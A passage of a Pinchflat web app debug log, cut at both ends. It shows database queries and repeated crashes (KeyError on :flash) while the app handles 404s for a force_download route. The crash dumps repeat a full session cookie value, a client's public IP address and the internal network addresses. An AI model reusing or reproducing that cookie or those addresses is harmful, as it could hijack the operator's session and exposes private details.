FROM "settings" AS s0 LIMIT 1 [] 04:53:49.212 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=44.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.214 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.216 [debug] QUERY OK source="settings" db=0.6ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.218 [debug] QUERY OK source="settings" db=0.3ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.211 [error] #PID<0.139442.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 58) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/91114/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 58, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139442.0>, params: %{}, path_info: ["sources", "31", "media", "91114", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/91114/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0rkPOsAVrB4AAI_D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 58, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 58, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVH (truncated) 04:53:49.223 [info] Sent 200 in 14ms 04:53:49.237 [info] GET /media_profiles/2 04:53:49.238 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 04:53:49.239 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=27.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:49.241 [debug] QUERY OK source="sources" db=0.7ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 04:53:49.242 [debug] QUERY OK source="settings" db=0.5ms idle=27.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.243 [debug] QUERY OK source="settings" db=0.5ms idle=26.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.245 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=25.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.247 [info] GET /sources/31/media/90892 04:53:49.247 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 04:53:49.249 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=8.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 04:53:49.249 [info] Sent 200 in 11ms 04:53:49.251 [debug] QUERY OK source="tasks" db=1.4ms queue=0.2ms idle=8.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 04:53:49.252 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:49.254 [debug] QUERY OK source="oban_jobs" db=1.3ms idle=9.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 04:53:49.256 [debug] QUERY OK source="settings" db=0.3ms idle=11.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.257 [debug] QUERY OK source="settings" db=0.5ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.259 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.261 [debug] QUERY OK source="media_profiles" db=0.5ms idle=8.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:49.267 [info] GET /sources/31/media/90894/force_download 04:53:49.269 [debug] QUERY OK source="settings" db=0.4ms queue=0.9ms idle=13.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.270 [debug] QUERY OK source="settings" db=0.4ms idle=13.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.270 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:49.276 [info] Sent 200 in 28ms 04:53:49.272 [error] #PID<0.139449.0> running PinchflatWeb.Endpoint (connection #PID<0.139358.0>, stream id 11) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90894/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90894/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139449.0>, params: %{}, path_info: ["sources", "31", "media", "90894", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/90894/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0rygJTIcL6kAAJAj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90894/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVH (truncated) 04:53:49.313 [info] GET /sources/31/media/90892/force_download 04:53:49.314 [debug] QUERY OK source="settings" db=0.3ms idle=56.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.315 [debug] QUERY OK source="settings" db=0.4ms idle=56.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.315 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:49.316 [error] #PID<0.139450.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 60) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90892/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90892/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90892/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 60, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139450.0>, params: %{}, path_info: ["sources", "31", "media", "90892", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", 